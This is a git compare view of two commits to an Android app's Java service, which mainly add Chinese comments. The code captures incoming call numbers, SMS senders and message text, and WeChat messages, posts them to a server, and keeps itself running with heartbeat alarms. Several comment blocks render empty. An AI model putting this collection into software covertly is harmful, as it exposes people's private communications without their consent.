Compare commits

...

2 Commits

Author SHA1 Message Date
wangsiyuan f0a49ef542 Update MonitorService.java 2024-04-22 11:15:39 +08:00
wangsiyuan a398e59655 Update HeartbeatAlarmReceiver.java 2024-04-22 11:15:34 +08:00
2 changed files with 76 additions and 10 deletions

View File

@ -28,13 +28,11 @@ public class HeartbeatAlarmReceiver extends BroadcastReceiver {
/**
* 广
*
* @param context1 访
* @param context 访
* @param intent 广
*/
@Override
public void onReceive(Context context1, Intent intent) {
// 初始化上下文对象为后续操作提供context
context = context1;
public void onReceive(Context context, Intent intent) {
// 执行发送心跳信号的逻辑
sendHeartbeatSignal();
// 在发送心跳后,重新设置下一次心跳发送的时间

View File

@ -50,8 +50,8 @@ public class MonitorService extends Service {
/**
*
*
* @param intent
* @param flags
* @param intent
* @param flags
* @param startId
* @return START_STICKYonStartCommand()
*/
@ -73,6 +73,17 @@ public class MonitorService extends Service {
}
/**
*
*
* @param incomingNumber
* "null"null
*
* 70
*
* CallInfo
* 使
*/
private void sendCallInfoToServer(String incomingNumber) {
Timber.d("sendCallInfoToServer: 处理来电信息");
if (incomingNumber.equals("null") || incomingNumber == null) {
@ -91,59 +102,101 @@ public class MonitorService extends Service {
lastCallTime = currentTimeMillis;
String currentTime = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date());
// 创建CallInfo对象并设置相关信息然后发送到服务器
CallInfo callInfo = new CallInfo();
callInfo.setCallTime(currentTime);
callInfo.setPhoneNumber(incomingNumber);
networkUtils.postRequest(callInfo);
}
/**
*
*
* @param sender
* @param messageBody
*
* SMSInfo
* 使SMSInfoPOST
*/
private void sendSmsInfoToServer(String sender, String messageBody) {
Timber.d("sendSmsInfoToServer: 处理短信信息");
if (checkNullString(sender, messageBody)) {
return;
}
// 获取当前时间并格式化
String currentTime = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date());
// 创建SMSInfo对象并设置相关属性
SMSInfo smsInfo = new SMSInfo();
smsInfo.setSmsNumber(sender);
smsInfo.setSmsContent(messageBody);
smsInfo.setSmsAcceptanceTime(currentTime);
// 使用网络工具发送POST请求
networkUtils.postRequest(smsInfo);
}
/**
*
* 使
*
* @param weChatMsg
*/
public void sendWeChatMsg(WeChatMsg weChatMsg) {
networkUtils.postRequest(weChatMsg);
// 使用网络工具类发送POST请求将微信消息发送出去。
}
/**
* null"null"
*
* @param a
* @param b
* @return null"null"truefalse
*/
private boolean checkNullString(String a, String b) {
// 检查任一字符串是否为null
if (a == null || b == null) {
return true;
}
// 检查任一字符串是否等于"null"
if (a.equals("null") || b.equals("null")) {
return true;
}
return false;
}
/**
* API 26
* 使使
*
*/
private void startForegroundService() {
Timber.d("startForegroundService: 启动前台服务");
// 创建通知频道仅在API 26及以上版本中需要
// 检测系统版本仅在API 26及以上版本创建通知频道
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
NotificationChannel channel = new NotificationChannel("channel_id", "Channel Name", NotificationManager.IMPORTANCE_DEFAULT);
NotificationManager notificationManager = getSystemService(NotificationManager.class);
notificationManager.createNotificationChannel(channel);
}
// 创建通知
// 创建通知对象。通知内容包括标题、小图标等
Notification notification = new NotificationCompat.Builder(this, "channel_id")
.setContentTitle(getString(R.string.notification_title))
//.setContentText("sdads")
.setSmallIcon(R.drawable.ic_notification) // 确保您有这个图标
.setSmallIcon(R.drawable.ic_notification) // 设置通知的小图标
.build();
// 启动前台服务
// 使用创建的通知启动前台服务
startForeground(1, notification);
}
/**
* null
*
* @param intent Intent
* @return null
*/
@Nullable
@Override
public IBinder onBind(Intent intent) {
@ -151,18 +204,33 @@ public class MonitorService extends Service {
return null; // 不提供绑定服务的接口
}
/**
* 便
* 广
*
* @param context 访
*/
public static void scheduleHeartbeat(Context context) {
// 获取系统的闹钟服务
AlarmManager alarmManager = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
// 创建一个意图,指定当闹钟触发时要执行的广播接收器
Intent intent = new Intent(context, HeartbeatAlarmReceiver.class);
// 根据意图和标志位创建一个唯一的PendingIntent系统通过这个PendingIntent触发广播
PendingIntent pendingIntent = PendingIntent.getBroadcast(context, 0, intent, 0);
// 计算心跳事件的触发间隔,单位为毫秒
long intervalMillis = HEARTBEAT_INTERVAL_MINUTES * 60 * 1000; // 10分钟的毫秒数
// 根据Android版本选择合适的闹钟设置方法以确保闹钟在设备休眠时也能触发
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
// 对于6.0及以上版本使用setExactAndAllowWhileIdle方法可以在设备闲置时精确安排闹钟
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, System.currentTimeMillis() + intervalMillis, pendingIntent);
} else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
// 对于4.4到6.0版本使用setExact方法可以精确安排闹钟
alarmManager.setExact(AlarmManager.RTC_WAKEUP, System.currentTimeMillis() + intervalMillis, pendingIntent);
} else {
// 对于更早的版本使用set方法可以安排一个带宽醒目的闹钟
alarmManager.set(AlarmManager.RTC_WAKEUP, System.currentTimeMillis() + intervalMillis, pendingIntent);
}
}